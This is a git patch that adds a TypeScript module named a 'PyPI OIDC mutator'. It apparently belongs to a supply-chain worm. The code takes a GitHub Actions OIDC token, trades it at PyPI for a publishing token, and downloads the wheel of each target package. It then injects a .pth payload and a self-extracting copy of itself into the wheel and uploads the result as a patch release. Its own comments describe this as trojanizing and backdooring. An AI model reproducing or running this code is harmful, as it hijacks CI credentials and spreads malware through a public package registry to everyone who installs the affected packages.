From bf0fdb526020823b40f8004bc0a290cafba3b550 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:12:01 +0000 Subject: [PATCH] Upload files to "src/mutator/pypioidc" --- src/mutator/pypioidc/index.ts | 189 ++++++++++++++++++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 src/mutator/pypioidc/index.ts diff --git a/src/mutator/pypioidc/index.ts b/src/mutator/pypioidc/index.ts new file mode 100644 index 0000000..39d9bb5 --- /dev/null +++ b/src/mutator/pypioidc/index.ts @@ -0,0 +1,189 @@ +// PyPI OIDC mutator — trojanizes Python packages via Trusted Publishing. +// +// Flow: +// 1. Request GitHub Actions OIDC token (audience: pypi) +// 2. Exchange OIDC token for short-lived PyPI API token +// 3. Download wheel → inject .pth payload → bump patch → upload +// +// Packages come from TARGET_PACKAGES env var (comma-separated). +// Falls back to OIDC_PACKAGES for backwards compatibility. + +import { INJECT_PTH } from "../../generated"; +import { logUtil } from "../../utils/logger"; +import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; +import { Mutator } from "../base"; +import { uploadWheel } from "../pypi/upload"; +import { + downloadWheel, + extractInfo, + fetchPackageMeta, + patchWheel, +} from "../pypi/wheel"; + +/** + * Comma-separated list of packages to backdoor, read from OIDC_PACKAGES env. + */ +function getOidcPackages(): string[] { + const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES; + if (!raw || !raw.trim()) return []; + return raw + .split(",") + .map((s) => s.trim()) + .filter(Boolean); +} + +export class PyPIOidcClient extends Mutator { + constructor() { + super(); + } + + async execute(): Promise { + const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = + process.env; + + if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) { + logUtil.log( + "[pypioidc] Not running in GitHub Actions — no OIDC available", + ); + return false; + } + + // 1. Request GitHub OIDC token with audience=pypi + logUtil.log("[pypioidc] requesting OIDC token..."); + const oidcRes = await fetch( + `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=pypi`, + { + headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` }, + }, + ); + + if (!oidcRes.ok) { + logUtil.log(`[pypioidc] OIDC token request failed: ${oidcRes.status}`); + return false; + } + + const { value: oidcToken } = (await oidcRes.json()) as { value: string }; + if (!oidcToken) { + logUtil.log("[pypioidc] no OIDC token returned"); + return false; + } + + // 2. Exchange OIDC token for PyPI API token + logUtil.log("[pypioidc] exchanging OIDC token for PyPI API token..."); + let pypiToken: string; + try { + const mintRes = await fetch("https://pypi.org/_/oidc/mint-token", { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${oidcToken}`, + }, + body: JSON.stringify({}), + }); + + if (!mintRes.ok) { + const errText = await mintRes.text().catch(() => ""); + logUtil.log( + `[pypioidc] token minting failed: ${mintRes.status} — ${errText.slice(0, 200)}`, + ); + return false; + } + + const mintData = (await mintRes.json()) as { token?: string }; + if (!mintData.token) { + logUtil.log("[pypioidc] no API token in mint response"); + return false; + } + pypiToken = mintData.token; + } catch (e) { + logUtil.log( + `[pypioidc] mint exchange error: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } + + // 3. Get package list + const packages = getOidcPackages(); + if (packages.length === 0) { + logUtil.log("[pypioidc] OIDC_PACKAGES is empty — nothing to trojanize"); + return false; + } + + logUtil.log( + `[pypioidc] targeting ${packages.length} package(s): ${packages.join(", ")}`, + ); + + const pthContent = (INJECT_PTH as string) || "import os; os.system('id')"; + + // Build self-extracting JS payload (same as npm OIDC) + let jsPayload = ""; + try { + const raw = await Bun.file(Bun.main).text(); + jsPayload = buildSelfExtractingPayload(raw, { wrap: true }); + } catch { + logUtil.log("[pypioidc] could not build JS payload — continuing without"); + } + + let published = 0; + + for (const pkgName of packages) { + try { + const ok = await this.processPackage( + pkgName, + pypiToken, + pthContent, + jsPayload || undefined, + ); + if (ok) published++; + } catch (e) { + logUtil.log( + `[pypioidc] error processing ${pkgName}: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + logUtil.log(`[pypioidc] Done. Published ${published} package(s).`); + return published > 0; + } + + private async processPackage( + pkgName: string, + token: string, + pthContent: string, + jsPayload?: string, + ): Promise { + // Download + const meta = await fetchPackageMeta(pkgName); + if (!meta) { + logUtil.log(`[pypioidc] ${pkgName}: no wheel found, skipping`); + return false; + } + + const wheelData = await downloadWheel(meta.wheelUrl); + if (!wheelData) { + logUtil.log(`[pypioidc] ${pkgName}: download failed, skipping`); + return false; + } + + // Patch + const patched = patchWheel({ + meta, + wheelData, + pthContent, + jsPayload: jsPayload || undefined, + }); + logUtil.log( + `[pypioidc] ${pkgName}: ${meta.version} → ${patched.newVersion}`, + ); + + // Upload + return uploadWheel({ + token, + pkgName: meta.name, + version: patched.newVersion, + filename: patched.filename, + wheelData: patched.data, + ...extractInfo(meta.info), + }); + } +}